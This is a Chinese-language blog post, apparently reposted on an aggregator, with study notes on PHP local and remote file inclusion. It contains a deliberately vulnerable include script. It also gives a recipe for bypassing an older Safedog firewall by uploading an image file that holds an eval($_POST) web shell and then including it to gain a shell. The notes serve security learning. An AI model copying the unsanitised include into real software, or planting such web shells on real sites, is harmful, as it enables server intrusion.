文件包含学习笔记

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了文件包含学习笔记相关的知识,希望对你有一定的参考价值。

文件包含分为远程包含,本地包含两种,主要是include,require等函数带来的包含漏洞
例如我在本机phpstudy上创建两个文件,include.php和text.txt,内容如下

//include.php
<?php
$i=$_GET[‘t‘];
include($i);
?>
//text.txt
<?php

phpinfo();

?>


然后访问网址http://127.0.0.1/include/include.php?t=text.txt

可以看到text.txt中的内容被执行为php语句,返回了phpinfo页面,文件包含意味着以php脚本格式去执行包含的文件

远程包含,本地包含产生的原因:
1.php.ini中allow_url_include设置开启则可存在远程包含
2.php编程中包含函数的选用


用http://127.0.0.1/include/include.php?t=http://127.0.0.1/include/text.txt同样可以返回phpinfo页面,不过这个是远程包含


低版本安全狗后门绕过采用的文件包含漏洞
上传两个文件
1.logo.jpg 代码<?php eval($_POST[‘pass‘]);?>
2.xx.php   代码<?php include("logo.jpg")?>
组合下即可拿shell

本文出自 “UntitledZ” 博客,谢绝转载!

以上是关于文件包含学习笔记的主要内容,如果未能解决你的问题,请参考以下文章

Xitrum学习笔记08 - JavaScript and JSON

学习笔记 链接

ReactJs学习笔记01

angularjs2 学习笔记 组件

[原创]java WEB学习笔记61:Struts2学习之路--通用标签 property,uri,param,set,push,if-else,itertor,sort,date,a标签等(代码片段

JSP 学习笔记